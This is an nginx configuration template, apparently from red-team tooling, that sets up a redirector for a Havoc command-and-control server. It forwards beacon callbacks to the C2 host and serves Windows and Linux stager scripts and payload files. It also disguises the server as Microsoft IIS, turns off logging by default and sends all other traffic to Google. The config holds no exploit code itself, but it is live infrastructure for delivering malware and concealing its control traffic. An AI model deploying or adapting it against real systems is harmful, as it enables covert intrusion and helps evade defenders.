100 lines
3.4 KiB
Django/Jinja
100 lines
3.4 KiB
Django/Jinja
server {
|
|
listen 80;
|
|
listen [::]:80;
|
|
server_name {{ redirector_subdomain }}.{{ domain }};
|
|
|
|
# Redirect to HTTPS
|
|
return 301 https://$host$request_uri;
|
|
}
|
|
|
|
server {
|
|
listen 443 ssl;
|
|
listen [::]:443 ssl;
|
|
server_name {{ redirector_subdomain }}.{{ domain }};
|
|
|
|
# SSL Configuration
|
|
ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem;
|
|
ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem;
|
|
ssl_protocols TLSv1.2 TLSv1.3;
|
|
ssl_prefer_server_ciphers on;
|
|
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
|
|
ssl_session_timeout 1d;
|
|
ssl_session_cache shared:SSL:10m;
|
|
|
|
# Root directory
|
|
root /var/www/html;
|
|
index index.html;
|
|
|
|
# Primary location for legitimate website traffic
|
|
location / {
|
|
try_files $uri $uri/ =404;
|
|
}
|
|
|
|
# Only expose beacon callback paths - NOT dashboard or admin functions
|
|
location ~ ^/api/beacon/ {
|
|
proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(443) }};
|
|
proxy_http_version 1.1;
|
|
proxy_set_header Host $host;
|
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
|
proxy_set_header X-Real-IP $remote_addr;
|
|
}
|
|
|
|
# Secure stager delivery routes
|
|
location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
|
|
proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
|
|
proxy_http_version 1.1;
|
|
proxy_set_header Host $host;
|
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
|
proxy_set_header X-Real-IP $remote_addr;
|
|
}
|
|
|
|
# Content access for payload delivery
|
|
location ~ ^/content/(windows|linux)/(.+)$ {
|
|
proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
|
|
proxy_http_version 1.1;
|
|
proxy_set_header Host $host;
|
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
|
proxy_set_header X-Real-IP $remote_addr;
|
|
}
|
|
|
|
# Secure payload delivery path for synced payloads
|
|
location /payloads/ {
|
|
alias /var/www/payloads/;
|
|
limit_except GET { deny all; }
|
|
add_header X-Content-Type-Options "nosniff" always;
|
|
add_header Content-Security-Policy "default-src 'none'" always;
|
|
add_header X-Frame-Options "DENY" always;
|
|
add_header Server "Microsoft-IIS/10.0" always;
|
|
autoindex off;
|
|
access_log off;
|
|
}
|
|
|
|
# Security headers
|
|
add_header X-Content-Type-Options "nosniff" always;
|
|
add_header X-Frame-Options "SAMEORIGIN" always;
|
|
add_header X-XSS-Protection "1; mode=block" always;
|
|
add_header Referrer-Policy "no-referrer" always;
|
|
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
|
|
|
|
# Disable logging
|
|
{% if zero_logs | default(true) | bool %}
|
|
access_log off;
|
|
error_log /dev/null crit;
|
|
{% endif %}
|
|
}
|
|
|
|
# Catch-all server block
|
|
server {
|
|
listen 80 default_server;
|
|
listen [::]:80 default_server;
|
|
listen 443 ssl default_server;
|
|
listen [::]:443 ssl default_server;
|
|
|
|
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
|
|
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
|
|
|
|
return 301 https://www.google.com;
|
|
|
|
access_log off;
|
|
error_log /dev/null crit;
|
|
} |